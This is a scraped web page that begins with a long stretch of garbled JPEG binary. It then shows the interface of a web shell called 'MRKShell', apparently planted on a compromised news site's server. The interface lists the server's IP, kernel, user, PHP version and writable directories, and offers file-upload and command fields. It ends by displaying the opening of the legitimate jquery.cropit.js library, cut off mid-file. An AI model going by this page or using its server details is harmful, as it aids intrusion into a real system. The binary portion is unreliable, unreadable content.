JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprts@f'ƘmejphDG7md  XEc|\Paq#;7[|$O[3؞q83~W]PB"Id:[giwRꪲÈVgIr"RxV &DȆ$ ;0D  qon:bTBLB>F#X| g+(̳bW3M~Z#6t/t  lH;6&J{[ ZT 6$jU\O3{=bǃm; 0` 0` 0` 0` 0` 0` 0` 0` pxlceLx/k*2jL?0C'. lzq ((&`-x$Ͷ~bMϧqcH* 9U _9-N$EC  aV Ek=QTTTUEELj_pF+0zޝz—+/ s5'IQ~qK\>a<$*/ .8h7R"qHk!q ,ϝ̹JT8fE$ #f`I"X$ܑA$WV ldП|],qQ 4 J $-Z[,bfE-s<1rQ^DTsbj!gi1;cѶ{ex0` 0` 0` 0` 0` 0` 0` 0` 0`a4Ȗ&=v=Nr tc y-q[}'}wS ԋw'匪ssnmn7=ɭH<ڙv =g $8•Gg:oL@w?1eO 0L \c7b|E7emM&"G6sCGjM1ɕ ?9LܻѤ(D@/;fe\mc>[a[aqc# 4{nخ { 0` 0` 0` 0` 0` 0` 0` oo:NϊjKywǧ|!r!xoI.1XHHb:I63f Hc"Uʉ0:@L/PBMOyӸ :vhʏ"[i/ .A1{Oʶ^&=WD߻ D: 5}D{mL 'bDG}/Wly v=ٌ5#ĵ2)\$$mI;o/dwe]j`@XG2e*@\O{؜u[%=6_f'"bDqs 0` 0` 0` 0`k-يs]ԧfS c˧z{S`w0`=ӽ=~2.Ly$  =w+A [ nc];ژ0cu`_#o}[|$u@,aH"h$r-ǷWWZ5Ơ n:)KUç@ؗ1gܝÑJ26 vL'ۇf}FWa:\qB62`>vǃ؃;vHLoq}o٭1*-jz)-1"ߖ2Yp@cVǷo^}1q8BJNerwIRP7;uoo6uf"$M*c]Lˎ*AQA쳫I|j=2Դ ,z=bq33WץEktKY5\_SV]?_<f:W@.n z[މ*zʝdž׽^+EdFi;mO^N*t-"$b;[ͽٗ_મMt^n욂wO0@hRaeWmfiQ,;e{mþWJ.DP^ 15*>Ā7%@'"%WtbObJsyK׈v{/F/ &Z\)Ө*5M-r1*bȖbCZS呯X׈3 _Y=kō:,bR$oEËfd .$$w•bWhMD{Pw\OA"=}A"pYEqxGg0Um=zG1sI;$4nÖ-}~8z~?)ALE^Oy3"1؉Jy9K_ӡ]HLO {}g`*A.on>ccTHA2$.3J"ⶋMtɋPSP66.U[$3KZeZle&'MW-ڼ0怩]>a}k/#^O¿> z 0` 0` 0`.n(k)+{tOjbv RubW5wXUW=*p<ͿYx[CM)ʴT>#(nK:[aWn|9erD2UʅqoK-c%2EHs# TsW13Å7U|᧦_VJl,ŕVE2 '_<95hjեR/RWP"R7)5Wҧit!b#,Hpn[[=pKS)3%U/kF%w/}9#LtXft̓@b%秈A7O3Cy+]sFSTs'Y@iP|[͆؊ﵧk1R[y'rši,g@ P1צ?{hj1('%Se!,$͉2QV9kKghyuM"^t&JL)dHVRWjyn s*Jj)1`5ITYm= uuigP(dM]҉B)ń# 0{ZSiJL-f_嵭M#x_9>§Gfk 5jt҈(IiӤ<"~ѼgMGB=cZ*I$Vg[WTbkś K;urDD7D%kt[+S@J@1&o4QqJכǸ;9,460*aN+5]&DDǵ.R͂%EWpH*Oo߾T;T^=j&EZέU=ui1̶c5m:){fˑi06wϭ,k qh#LomӠ 1 =m ~w݊r@ `u?3k}yHT-# u88VK_5<12uċĞ=W;OG"wPm-&$~w?ZY%Up5 h?= ˹Fmrwq(׊jʼni$ZwhKˇ*QJ{@crn[aӿm>V=J`uHW?LϤEӤ\ZoCH3K*8*ƝpU8[-xL>V{s.ZG|2êKJ$I 4jRu)Xk8 ڊ]*Đ HEO;`p` 0` 0`<^ \P_ u/ƙ3ܷ"5Uzb"-rƥ:85?]1PLy Ivwzn*LTc&M{AwbrWL%fB l3k29U,YL/]5=\ை괪 K-TޭZt4 0e ZYzԮ|Sߵ>g/#gJtUƮ!^1"vE pX`fP,sF D2%EE=+Qq6y mVϽ_!uP) Qo>8忊?nn=y|˃PNU~"B;$2FjVH*MTEkZ裻/ukUtĠ|A2JUB:jI%@=m~;8\g;j9?V2w~=q̛F?$=b+.+Y8ۿlLj z6bluZI]M$zvJV5{}nu׿sS*߹\yb%XnXc  Y=mP1KN"jP+_N_qSVv@bbl ǧKe2 a1@(wɼVU6&Zu6CZDj&M1V:@fsră"'o9STjwbXJIY-( Jii :b}polD0D(O,AȜ\tɍ=LV A`Le[rFTr_.ex Lwj35-rӽ'=jEgg^O;YY? lo^ƒ!K7VM  o;N0f>[$&,6K_ؕ,KlRZ:kTw btʚ72y*-,\:ge?;!vk~wiuo}=L\^Uy `^C$ưRDd t]PeΝUbՎsEVNbwNvl*L07Ժ*heʪRDjzYHBQ:UѻA6$p~%dsK0]5L02cQT Y(:e?U(O+_Y;߾̩9PAھy?9N6R+jR.-~N8>]HC1YU/10>p0Myh) Ʈ,gSg$ ܖoC"I:G6RH  \Ҥ$v3fo†y VDl"Ohk\P>_W~% )ԍBa8A%DNFjTb)nr_Q9U MB_!D|WL( cI'I>m#kqQթ-m`mۏ|L6OƲӞqr=)]pkfj5_SQl*"PkKa1Tz:,EMP JԠ t3š)&/}HL:{_> Ew/=G 0XA##g0` 0` 0`F~Ng(,Kg(X|*Rx<8f)cλYsZNku[1VRS[i62@\ar\bJjdӦ?m\_׬r~\ĸF(s(icYAM++e ĽL]r3,? Cөr+TWHeW5V  PUUfSgfU >hxuJ\RF$U\łMiaTǂ]5NV'G#VMWPHO0sy?Z5g35kvگ뱜cޅ (].Eؽ9^3bTL{CdsV,F%4I@+&m 5#WSVtN.;׎[HQIw1=/ppI Vu5L$v>f@'Vw{[.1M#s#0\1|}-|x5. Ԕ"DuDG6NߏLdd+ԒD?֢38Cf 6LzL"['DQ, N:sSRA]Lz-9{VUT>!dASV:eZI- Rz"doDK+TIwGTSW0itlm.{9Er誄/r٪u٦Mԝ2uAeb5yH1<ۆ lgj5i0UDaR- HtuN=u]biҘ.Ɯǔʮ64N繨]S 'Aij*QQasm 7>ƃU2<1…rĬqQE@ò*"T:fb CL ^^'Y7_&% s ˽= l|f%}^r%]Fa7﨑U״U(P@T Sk ~B߻'@gwuDW:iG:ee>c"7Òs)UVJtj6NT{ȸ1Zl@Fa2q0zÎlD( dFS˥ʈI普jZI, 4[ H K_/^6b~, : ~-%^@rO*w6RO(REB(voNj fBTVK7rWuUzt ѤɝF0cED 0́VrHZi#F!BuG96i89ݛ>`-:qnúnSI%@jɬn66XK3X H %8vߗrW_QTF N@) Ќ<53G,PѬL0s>EEuUD*7o3 %kc 0` 0`' cB*en@>B=*' W򂫘U)4׹JO$=5=ֹD>=ώ?2^-G¾ٞ)A>"T6(OUjH Y/}jfRPjڴJ`)(Uc,`3׍G%};Y3˖4J(bvs_d*<"\ҨYd%WS$ȘĘS|¤ c('E T@rG[hn˭޷že^k4H ʗyw Y^3ih( M4mnAML5(oHT::o&ϮE颢79#*]A.eifZ@o|>ZwƇEVPJ!Zl'w7髚}Q̼1o-~GC'ICc,=ON WQ遟-91Nv2b́2:\# 8FZI9yrKTsK}S@_`D3(d(6̄7MO69&E0z"--ݶCFG} -pɾҔH¯bu'U*Ձ 1P֏SzLC5bqUj3@:uyYO5Aɵđ8/5?8IWf m8\+ҩr(VNԊ#ʪjO+zX`ЅHYBթY[P$EؐbRን+WT"&̌WY 5!Cb`]] )i+MҨ!Xaռ>[f4jPg sf!3ي\6"qCREYʖfZ`@,Tx+[ !̓bLl6pii[Tr7 RL 57  Trr|;+^ֹ5\2\Z'URDeA$Xe?e46N0Fڧ`mqAb YrBE T>Ij @cа1- Ʒ!3#/XPGg·U:=|`"Nq2 N> p Yʝ"H` N al'~0` 0` 0`0cdU~-HNz@:TM^6UY2 :iXd07(.H:YiqڮuY'N!u)L1K9!M}s(%:( %u|3!CKkLISΥ{n`o<;/MHH čwÔN,/Q"T#%Q+uj/j{%:iU:# Ap95BHbdGrnt :,P H+&%N!LDC U:mn7Go c-؄ńS8Fw^v, HRLbwӯR%ZJNJ) 1RHY"??뛢 Ӄ2BT&R֥ U`)$6 P{dGYۢ2*%ܒA7;ר@\o8j> BS\6dIG ebU 5)W Qi YYIj e8OԴToXu@VzrV)iTYbCHBQ3ٵ?طQ'~>beYLIr mӤ{}<S'OnZ]8@)ó$G;G\)SSLmao-~*iT\? +}c8H1Ha%lE aw! ߻aM"Nb;'{S߇eD*S 0` 0`1ulo+K@eMN$g1Q8I0od]&s'6̵1*qCel'9 }x,_anÔ-Ѐç P; scF Bt%UwN 4)b` ^0nJ%s~*5 ɉms+KEd"UI (3`4JDcdEXySC5XC`/'qn{:Oe tA5=%(XƹoU U!̒mOFִb=vm鶹oZmM3h}EkH [w`U7EFlQjÞLY@R &H$N:x$* 23V ߺh K6@v:*b} yuZL8Y̤KhoE>n3N7n.Jxq+b;HDFэmΝ͕8<PgE iҨ͘` ` &H@=jVX+N 18)hiDPjoHt_5ܓi ٜz!RQ2 ݚY9Ob*@QOK_ĩ"`\lى7cIêr}S܋c]ɹ߱O |aI}:o3I>r_w`D71-*T9Ԟg,>b z~x%4+u1gp?"@,R+sk+vrT{{08-ZM@X=`b\ΑID_d ':"jQ\fi ?+ ij^G?)5 !LCD$3^)W}W7T)5^^ $E_w3 hYJomث) >bT1>>XfX>*,7[D{1J5 g"?A^v0`(l  c9l_g}=jv }*RZaT>:dP_tIR3du݇_aO.2gǡUmlU&RL$r 1+S(,T?./{sw<෶^xI5CZdYX~~@x?>9_rwNbpbH#`{~9Gߎ5DwfoٍW0S7,iT&GO8\kQ-`N yJ0?9CLM-#H\R0pU\_$kU^Xq'02¯T.%Je32 u ;xcÇL2Ҋ Y kC1cA5xW}A(gi 6\^K"k\f3U xwn)*9+WMЊ:k'η 95O1PiuZ ̮Ծ]:+*:yRq:ETDX <AsIfbNY+nWj HM(]9eSPQ-!ӮXF4DidDNr[O$|6U(:9I B@ ;oq׶b`eG)\ `P \!vC$(di(&g=gŠ 8vaVץUj,Z h-Η$I,Hü,RzmHT 5RX!Xǖw7+QQ8D\w> '0dY UED.:4q.-j뤾nwv;45#)p~`c@1܀O`|#ǽxWvcR616-'rmipuUʋ"oO6{ۡ.QzkQkX|xpW`Ma$aB+(@ðƩx-Fᱽ{Z[#zL}*-:<}Fl ԟGJez:u6(wQMo{Lz|l1 ~E8A&E;MD#m.wq=b}_UP0*]\`m忣.sQj@1p;VAq$zv'Q9Qʑ,+1[&! 0٥^?O"S+'[2Mtk; lrjtH`+```f;9 9pٺLrYWk DBfBD 2cL.dn,7#7%0E2DOK MȾ5.κL$@$nld˔sm)`tޜsQO|(GY WYja)]@0ķs$|ßeZIP DQQ## yf1jIf]88idy:?|q?\y?7MQDD~8) W[nw1g*'# :L2C|Lzĥ!Ԁ&68j<,G6ip͹RrCR!u\sw]O5_ek=fYi?iA2KzG!o2J4l/Ufb=}4ĩ.lAòkR&4*22kI!(S5BѦijtȺK0o; SEjU*T1Qn2jbkU8tӍ ^TC]QUW~rln$ٍ'RK|Ѥ7|B溔>(*] E2!g$I0RwG_LIRlj7:d5I[D=q ZL Id c`jP5{Xl,=؍R;~m~8v zϴ{og6+>^e_;l3 36_.3̸4I\oa}cC_g-لjn'2Ѽu7:%̒N/HQc<"z;8wcSVHHk6]d.,v1s3Ӭ?.H*Py8q[3UcYُn{ÂmT"'|$N&;N"894K^5!fC$/kQqjȪպ**&[q&)Z35KF^e AHӾr-`] 86?~prbwO!TE8n|ƎpӤ6z$!=%Yryx&A"YDh3"1GME{ ẅ8#t A?/Ußdž# 1nOǚG ng:@cVv<2P/uMշDr~qɍtӯ\ZTA+k ^Lb-"7n 6mE,(%5CqȍFκ&pe^p:PH"b3#\wVZK30~`X( 3m~׳Uq6SdNkJfRK rD ^$ԫW?Y )򐪇VoM+7[_׷ppG=AS$@H톂y%IsM ~ \tҀ:`#tk.NǤIߤǘ^gz>X/BN[ѽ8'צ>8Lj|:3=IyNv2(1]剴ȱ>I {1MH&HֽӿK*Vd^]@E`@z'o_O-\( 6H>ChYN2X Xhi-ٳ/0bB~zG /;o֘==c]WԟL'Ic~S |3yDQ }J\y܁o 0O鍍^cj ~-Qno+IO讃ԍٰKqM']Qiòݾ/!NzcQ[>Yia7C϶.{'fTuvWR Ag`4 䙻2XUY*vX,F1Ζ@1U]$hTu`:S)FX4JRHna+!:?)I>ulS 4f ԹPI Eds;HaaQMiH?xok⽣}nEB~|9\"k\m0x"{vO! PQM+==8n#5ra'^ ;'_ksaaʑޟ5Jyغ[G^TZn ! ۋ{wjxYuűS)X*r~[2<jfb8  0QZ}0 =}x9Ϟ(q-5p+^Τ]YAĿ3Ïxw*P+0w}fiI`b ר?x`RyꊷNn:XJtQ7&+ dڠDSz/!\@;|qDK[=\qԙ MNZR[|ܕ'Wc*Gf]۱=lr*z}0 ,=.}=q2D=zaRx+溧ҕ2/ ߐJ6MzwÂOq_;8ZNaA1*wD3oQk6,CJ9ܜx/iM&M IWoʌ3 LD15jRN}h:qU[kx".id @rpOdtL 8+oRI (5 uc,LD'e#AvtJ[$ɲ-6 F(5oh^Γ:HDfXY*,QK%\VƩEZHV ^L`1WC}S[1l+ ZtL>ޘfMM1yRB\+.3ik*}Aíjbq/9W8UjhK83x3ss"&Vda%;FQ*)4*µo.ꩥۮ|ps 45 2qY%UeM{>c.c琈q;20)$.$8(|U1:Ea_}Oc=Y"-bN1wjz\Fp5-azzGlGu~MA𨦢Ht$݉$ݷ'zWÌ6,0⾔\2}\PZTP JA@ u#\2gtdzOceALI‰2CچX^(T߆C#ygY:t c>-L%uʪ61\j'/ 0`8o̗͢KLJvi\4F'Q||KN xO9N=4Ho%0maTvzqBUIC>F9߁h}~㎞B>-D/,p==5_ijO7G%EJAhme%eԩM|̷̷NSo: :C2Wl %T^!:svK9jGLƣX$Ӹ>XҢbFL2h0QC`(pACk{I݋~GL♔ʷY JFXmz_ y5O>s3Z:5Qv.K,0-g:g]l(FIJYF uWpܬF[r(.9ya,S9s_j^,QE+UJL`U~"%Ğe>Y*LZ\M_+5gSD pq H/bw%]P}/Vo_.}׺E8@Nʉ1+{cgD_cbg|j`joo:IT=a󵠌fR i\zoMׯ@`;-iHmH8&?e_N% UL! GKXL҄E6]GEZm0+RYA pҍAʙ=G?oK(M:m$A/8ES;1> *<4*"0+U:_%C!Rd/LIa%1d雮tT@+"ck LlK F):QM֤iBQ&+ P j=!y+]5.YnfjaM.]鲇[IPT I MD'Ʋ9a^TU j#`[$)B+}ŨSI&d @(s{, kh4nϟ/0dmXv.R]\ ) I7$Lk+* .b@;bT Wd0ߜYJЪDH7r(Ue gwuS[cSTǸ6{uǝ_w1`Tx{|c&RFO_N?|z-"R*~UZ1=* A!NlrIF59D[HjYHZ ?Soևt1\,aZ9RⴸI$$ .G^y2H} 5Hr ;mڪKgөW~ M0bU$11!#Lܬ5_+/ 4Vdn \@60԰nAV$,0djXʴq886jyArsT*D"j7a2PVoґjUEDĦ*濌AJ^LC=0l1%HuQr`΁M]Q8lQbDP=K*Z{1{1yeTC\ \G%ڨ(-xU#ʈ/j2 IcH+l{ȘN.;f5Coߠ;Zs봟6H Ju¤6Σ@5j 3 Ś2|DYQ>QFaՅ%FL.HR-yLߴ6x*56AҴŌ ``,,r \SǤ/N>olt_KVp!A}9͙uzL =Km.~d{]o_ؘVʴ?8Ī~j*R$0'B`KXM3 o[Ȋ@.ꈶۆ ?\R7 T44V ':DE;l¤_/!a$t:o2H-%2rGb`3.SqEuTK)r^ 'e_x=5̈́>릭o8TdTF:P ϥIU /̲Ԫ*8QAa5ӈaki{3ZTe~K\\J#g86i'(*56?h (DbC 6yr2?<6fMt&^g/P|6eAH$\_JYWUvׇG#H Q{6vXߵ.FR IP*n@v]х/ N!U*i"#A}wc71 66 @p7;ua?;buX_ۋU߯O08iJfR ^c;lV\:)^zl*-:pښPHUEV/P DoMZza> #TSe$H A`$q^ݴjON(i9,"ofƾ;Lun3 'K-^.E?S÷iu|5,Y,II^TJj %0 H Ҷ&v1}B8JCKŦNP+cn Ѵ,Xv#z ۪mla,¥5Ug`z(g*iԚ3^F7RYP bd 괎my%9C&!a3 ?iB@,aaA7 WXT+YXl>o]ߵFh^B8u/ dQopm˽cEJnH$F r/7AT+n|7Oӫш95RmuLQq1{gFT$ӧM<b>[r/|\^+G7NJpD5*-`t𷨧*PZOɫa炧: oR+g;Fߔc>u V'[;*e8ީRo~/gݘMfQ߭`D#WK㽷f0r9>O-ժV3؝:E(m3i7ߧ6۰{9fљ*M2`YgԨBtgA\8F}:flT~q%fIz'hNH `1`B E6$ͤSn=[:=@sw|(3 5.?vcL aB/JsZN77Ap` $^ ~v#Q¸e*ARHA? j6ڄ%kS󺨱@j}HL_T*E5jM@%ɖtN4[\/\̓h-#3:w ߡ89Hr2w롿o~1NceY}j sO199dlmxƲRT[@׹<14y2] T*x-y`Do=^aoҨOédҡL *Cy/k4)o_@xb8~hwJ"~}W FO{a1w=qP`؃8kȫe}6E8v?X(S`oxnbö؀>(r]n)%wP}o3>C¼NU e@$xiQf |eBoښ(d^(p/ʜG/YV P_JD`7=1'#\5pN)zT˭@ԩ\IRw#ՊP`1pA ._|DE_$ȋ޶DoeJ9UB҃2P '?ǟgand5(j™1 1s -eQ^i=[Y˒f(U .0ԣU7ż_Į2[Ŗ]v3*Ԅ2~R L-խaZ""[jK1u,ek&0t20FC#96&X+0e 8 %cV331zIUU\:1:5V+0 A AWL4nI-yUsgr@f,4G(HA`ask<)d{0/5 ! Wꦌ9ʇ$Hz.̵F9Y[SYzT)E S7Ty)QuWR(.6T|f쎅\#X/L-5Ԑ뭥ҞRI_J뀇|nov/R)T,:Ul \^ؚ>s˕f2"ǿLYʝJ F663BȐXf,4peS\F ܤYc_5P\s4y!GCLb@e(qJEKi]X>[5uiA AYX*2 VިU41J`yiaw2DDߍ6J=+NxӤ*)04xL nI4*E8''s0;>oJL*pKc'%?r<%6 b/0>},j:I0G]=l';~V_¥ͦ n :F>4n#YJtkU,1OQ0DtD>)Sfb!uv$>o~OFHG@{Ӧ$b8*n>-*AZ>bjro9>|1w3Hb dv=/q;G 3q |<;}^nR"5&&|7e77ms0A~'r6h#BF{pyI(R~}^_,Bg53G+FBFfs/$Yw=KDzta1Z\p"V|D[-{Dva̜9iɕhC˪@֘*˦Pdw+s<1*`v^^R=\gDq rUzb)/t(doh9[*K6($& }U|*ML؎Ґ( pFʻSSX`4<2-UcЧ= kyJ(;ys HrNN#ƚLKj$K4YBW*+,-?ɘpx7ۇ:LǯGBVc{ݔ=.~331Y{Qn v2(X+D Jdj9}D_I'X-"ѷ]cuS~g3 EP۬f鵸@W"jy5WP6pgʩ?RUn.1Zf.mP:_$sleM6{"ߵU0e5Y-+Mȉ{-eJjY 4*QjP.bF99TR|`ϖR|/޶-3[e;-[~Uz Y*I"4VػWͼ·ZUG5Qs1\Ttlo 櫛sc9mR+hmRg5닀D-ZluͤlT9*|kyrNc5͵+sW8 Tvs T*LFxӐ!O-gSWPQP%]AK9[|['Z"QʍY5M8NhzO7R~~.#y'Qg2.墳fb{znSDOBc>fcq@1󆨻g?U 5N˦1bUt-(8K檦/ &]SBAeB1@t$ q=\ JFH bGRM/' f8qDPVZc7=pkp7,K$ XTq^`iBi"ocZ[g/C&;`5^89s7P!UD+ cM0]1,nnzJK鴔ʮ)M:aGM' N 9T-6G4u ztwTUU֦nUWY2us Ymϵ2J%GDDB! Pƚ !sT0-BE:iJr"*b>5[L,m t$r&wpBUĬGRm=`_hVl˳ZT|Y*&<)5hy/YPѯdJɨ3,gnlR>+7*S>)&e_j\wPIaRaJ=Lp/=7 Wdf_x7=7 6n_jvR{tz7"eU+Ivg u,Ӱ&A׽+F!)"1'=c\0R@sO{l 8CG1% Y0Pv/,.m7!ߜ(ТQAfG^ i:.*/灔o30)Mt'~# `$VP`r;zG^'ۆsuh!T$_ 8}b*êcTE7oߍ->+R;P'q.+ӦXNC*墾X6^:s_{>i:}nʅRd`:OO ȥpz_ Y_$ jnt($@a!uje ݌N`N!5Uh@aeۿSMȆ- ,u I'b5Ziƥ/*S Mm>#f."shj\Ԩ B33 فz lЩDͺwaiA_S8[[~OOspTE ebn.}s|ځ̲!JG\GDu$`ogRJ;)Yi%tb6;j=')tw[Ƙ@aJ?qdPj.Z?"_hwMuN:o<Ku'< ŕ{*Lv3+*[z>Ծ22w9[#W)5Tm!vߧYYNX1{덿*ĉ #w'r%u*ߏn^;y'5^ Naj%Q&lv'O9ߍ'c1NbiS? ~+0uâsdsF`.S3&Zy1e{ݣZXګxc3%*6NJ^,]#/b\)OqhQƣҙflII-%5Tt8Oɚ(DȈ=IdoN$ETDU **5*TvmnuAbDɝ|l,l.GHcĘ1ۦ=cDi֚NiXZ6 SI w-^8o1!*WQi9MG Vaꠑ&.8+'\4F2I"kLKߙޘő/X:-'q~745"JX&a?ѼlJ-6sȧPѠR>bǿ[|Fe8Z* sN$4)A$&}g)QQ'N2%i;tׂCd!oRxӐܾEϱo/~#OYzܒ;]>rq0':\U2|VA ED8P++(XxpYo> GM[}31gwCM thoc~1}7QiD<9;E߳mʟ6͜Uwp߲5\2k1{D۱=\:\8%JhY_Q(֝9{R𰤅H%_- RUntE7>AGI:-,A"% O)0f"zߦ%; YTA"ޖ@]یzƲXof{zSHCK 9**_YH1K}wq<@lI뽆ަw&ӅUoOC: C`NqpO<f& 'f ݄,#V՛jPQ(mﴘߞ$ڜlVBeRD>=@:\7ؓkX"E N`P,"bj ZjiPUZ&j ZnLɄPƹsZ[4rġ6l7ArE^sz ܙyc9O⿏o;'5W%U"Qo<ii~ $e|,r˕<GN*|.akT_?*Ɲ5T`n+Te3 Լi!UCRgL<Ď^o5*r&{˖eeEfV[{II2 )d}_IWggfڃLNu\[k=_FJ!hhU( xb$,鲳Y{~JQ-*/}O9ëUqS#*,caZ(g)}߂E:V ObOֶ7)= W ,n,n-< r<{0`Ly/B-7Wu%SP^SxRFm=pa[/6@L)P%%-SZCP5EM 3˾YU`J'QP$Z&H|ē®smTk(p_sjCfKe_B_URCjemH@֤\ y84;zMbտQsuyUJ0}by 8=K i>43 >{Գiԙ]%CH L,ld Gi8Z!V2+,`Q"e@Ԋ?<"sSl/y-RY0/Aw\7+NGQ'yu9PRncM c}lt'5T2ܘ1> -+,ʣSV0PnM7rQT%E E`p?@(@SCNNOGj( Xi#qqu;9Yj-BDv^{ /EU:0L$7Qtf[tu?BO=UNHOkGl4$xK4r!'쎃 i 8 g5BK¬S͛O<[-cT@f PXѿU=W/QΩ7øƠugU_K㝨8i").nᄋ8Cw(^W(cr&;l*7pNwl}/ٲR&#hk.cz `t&ֵ1)L8U (:@X8yB<b1Q9 VJUAayR6hޫ^X`"m@-[5wr^A ͠*V\y4%g,.XE|zࣈP`wpڅS6]Ο"|G~,iBI&c]Ni'=R]UJPldZbm=y:wǕRh7\;n?.Ц9^ *it]v:&=@ `3.#`phui=,\ª1:!{\>|ѕw kftwf؎~)f5L# jk_،Eo}Z^ni d,LIm:c%-t;U1j\Le3~Znj6 zy쨤S3%Ao 2rt(WtnuE hVPnS4S0jUZ }[3ny|)\9نUeAYUY2b{ bPv->Q:i$ UQ)˙rG'msa͘qG9Ů,)-t%jf[IHDR agCxU_d~n!y ЧRԩI UFKQUٮl+Uhw6伊\P-ۖ`9sy梵k5 iRz` "JHw)k/ڼGfdkTSPP6HIB8AT [miXʑk qjpD׎0 7'UnPp` S62D XY9ÿ8Yg4GƵ3n)@nZǩ7z2aEPH(3$1;qf{醿sx~^Ӿ~ F?2˭*QB1J$Se8ڸ<ybjBu/ÿG6z%ٕӦA+p]WfK<<+ɑ\Or7,Ç4_-rޓ1}.体Ta19:8ja3b&G0}Kۚr]|)90әM*W*QQjԝܕیs2q|>Bf0HmKEor'ȜGdrjWڡ $\mQ/1ϯN%^? Hb`m6xՏm߻ޞ;|EUͩAME|F« ǯs3x2xoe~Ī 3֒7WU*\F\43->VfZh5{=3V[W{_ÿi]ݼ2g=49V0ὴ{WOgq+`2›&1KZo.ap (Wc&;yINc0L(`@zRĭj~܂w=#c"SO`oăJ8ip/?5 MR K IS HERE
MRKShell
Server IP : 172.67.163.109  /  Your IP : 162.159.115.26
Web Server : Apache
System : Linux cln.haberosmaniye.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : haberosmaniye.com_64ndzm0nls ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/haberosmaniye.com/httpdocs/public/assets/backend/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/haberosmaniye.com/httpdocs/public/assets/backend/assets/js/jquery.cropit.js
/*! cropit - v0.5.1 <https://github.com/scottcheng/cropit> */
(function webpackUniversalModuleDefinition(root, factory) {
	if(typeof exports === 'object' && typeof module === 'object')
		module.exports = factory(require("jquery"));
	else if(typeof define === 'function' && define.amd)
		define(["jquery"], factory);
	else if(typeof exports === 'object')
		exports["cropit"] = factory(require("jquery"));
	else
		root["cropit"] = factory(root["jQuery"]);
})(this, function(__WEBPACK_EXTERNAL_MODULE_1__) {
return /******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};

/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {

/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId])
/******/ 			return installedModules[moduleId].exports;

/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			exports: {},
/******/ 			id: moduleId,
/******/ 			loaded: false
/******/ 		};

/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);

/******/ 		// Flag the module as loaded
/******/ 		module.loaded = true;

/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}


/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;

/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;

/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "";

/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {

	var _slice = Array.prototype.slice;

	function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

	var _jquery = __webpack_require__(1);

	var _jquery2 = _interopRequireDefault(_jquery);

	var _cropit = __webpack_require__(2);

	var _cropit2 = _interopRequireDefault(_cropit);

	var _constants = __webpack_require__(4);

	var _utils = __webpack_require__(6);

	var applyOnEach = function applyOnEach($el, callback) {
	  return $el.each(function () {
	    var cropit = _jquery2['default'].data(this, _constants.PLUGIN_KEY);

	    if (!cropit) {
	      return;
	    }
	    callback(cropit);
	  });
	};

	var callOnFirst = function callOnFirst($el, method, options) {
	  var cropit = $el.first().data(_constants.PLUGIN_KEY);

	  if (!cropit || !_jquery2['default'].isFunction(cropit[method])) {
	    return null;
	  }
	  return cropit[method](options);
	};

	var methods = {
	  init: function init(options) {
	    return this.each(function () {
	      // Only instantiate once per element
	      if (_jquery2['default'].data(this, _constants.PLUGIN_KEY)) {
	        return;
	      }

	      var cropit = new _cropit2['default'](_jquery2['default'], this, options);
	      _jquery2['default'].data(this, _constants.PLUGIN_KEY, cropit);
	    });
	  },

	  destroy: function destroy() {
	    return this.each(function () {
	      _jquery2['default'].removeData(this, _constants.PLUGIN_KEY);
	    });
	  },

	  isZoomable: function isZoomable() {
	    return callOnFirst(this, 'isZoomable');
	  },

	  'export': function _export(options) {
	    return callOnFirst(this, 'getCroppedImageData', options);
	  }
	};

	var delegate = function delegate($el, fnName) {
	  return applyOnEach($el, function (cropit) {
	    cropit[fnName]();
	  });
	};

	var prop = function prop($el, name, value) {
	  if ((0, _utils.exists)(value)) {
	    return applyOnEach($el, function (cropit) {
	      cropit[name] = value;
	    });
	  } else {
	    var cropit = $el.first().data(_constants.PLUGIN_KEY);
	    return cropit[name];
	  }
	};

	_jquery2['default'].fn.cropit = function (method) {
	  if (methods[method]) {
	    return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
	  } else if (['imageState', 'imageSrc', 'offset', 'previewSize', 'imageSize', 'zoom', 'initialZoom', 'exportZoom', 'minZoom', 'maxZoom'].indexOf(method) >= 0) {
	    return prop.apply(undefined, [this].concat(_slice.call(arguments)));
	  } else if (['rotateCW', 'rotateCCW', 'disable', 'reenable'].indexOf(method) >= 0) {
	    return delegate.apply(undefined, [this].concat(_slice.call(arguments)));
	  } else {
	    return methods.init.apply(this, arguments);
	  }
	};

/***/ },
/* 1 */
/***/ function(module, exports) {

	module.exports = __WEBPACK_EXTERNAL_MODULE_1__;

/***/ },
/* 2 */
/***/ function(module, exports, __webpack_require__) {

	Object.defineProperty(exports, '__esModule', {
	  value: true
	});

	var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

	function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

	function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
